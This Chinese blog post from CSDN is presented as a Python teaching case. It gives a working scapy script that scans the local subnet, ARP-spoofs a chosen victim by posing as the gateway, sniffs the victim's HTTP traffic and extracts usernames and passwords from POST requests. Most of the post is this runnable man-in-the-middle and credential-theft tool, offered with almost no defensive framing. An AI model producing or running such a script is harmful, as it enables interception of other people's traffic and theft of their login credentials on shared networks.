python项目综合案例(获取同一个局域网的所有ip并对其进行欺骗)

1.  ARP扫描的原理

每个电脑都有一个ARP缓存表,表里的MAC地址和IP地址是一一对应的,如果缓存表里没有目标地址的MAC地址,则会向同一网段的所有主机发送信息,目标地址收到信息后会回应,同时双方都会更新自己的ARP缓存表,有效时间内下次通信时直接查询就可以了。


2.  第一步 获取本机上网的IP以及网关

 

 


3.  获取同一个局域网的所有ip并对其进行欺骗

#获取本机上网的IP地址和网关
#获取同一个局域网的所有ip并对其进行欺骗
import os
import time
import re
from scapy.all import *
from threading import Thread

def capture(ip,t,fname):
    con=f"tcp port 80 and host {ip}"
    pkts=sniff(filter=con,timeout=t)
    print("抓包完成!")
    wrpcap(fname,pkts)
    print(f"数据已存入文件{fname}")
    
for line in os.popen("route print"):
    line=line.strip()
    if line.startswith("0.0.0.0"):
        ip=line.split()[3]
        gateway=line.split()[2]
        print(f"本机ip:{ip}  网关:{gateway}")
        break
else:
    print("网络连接异常")
    exit()

#进行arp扫描,发现存活的主机    
scanip=gateway+"/24"
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=scanip),timeout=3)
print(f"本次扫描发现了{len(ans)}台主机:")
targets={}
for s,r in ans:
    print(f"{r.psrc:<20s}{r.src}")
    targets[r.psrc]=r.src

#开始欺骗
victim=input("请输入攻击目标:")
t1=int(input("请输入攻击时间(s):"))
tcap=Thread(target=capture,args=(victim,t1,"record.pcap"))
#con=f"tcap port 80 and host {victim}"
tcap.start()
for i in range(5*t1):
    sendp(Ether(dst=targets[victim])/ARP(pdst=victim,psrc=gateway),verbose=False)
    time.sleep(0.2)

#解析数据
pkts=rdpcap("record.pcap")
reg=re.compile(r"Referer: (.+?)\r\n.+?userName=(.+?)&passWord=(.+)",re.S)
for p in pkts:
    try:
        if p.load.decode().startswith("POST"):
            url,uname,pwd=reg.findall(p.load.decode())[0]
            print(url,uname,pwd)
    except:
        pass
    

 

  用wireshark查看存入的文件

 

发布了84 篇原创文章 · 获赞 68 · 访问量 3426

猜你喜欢

转载自blog.csdn.net/qq_37077262/article/details/103948788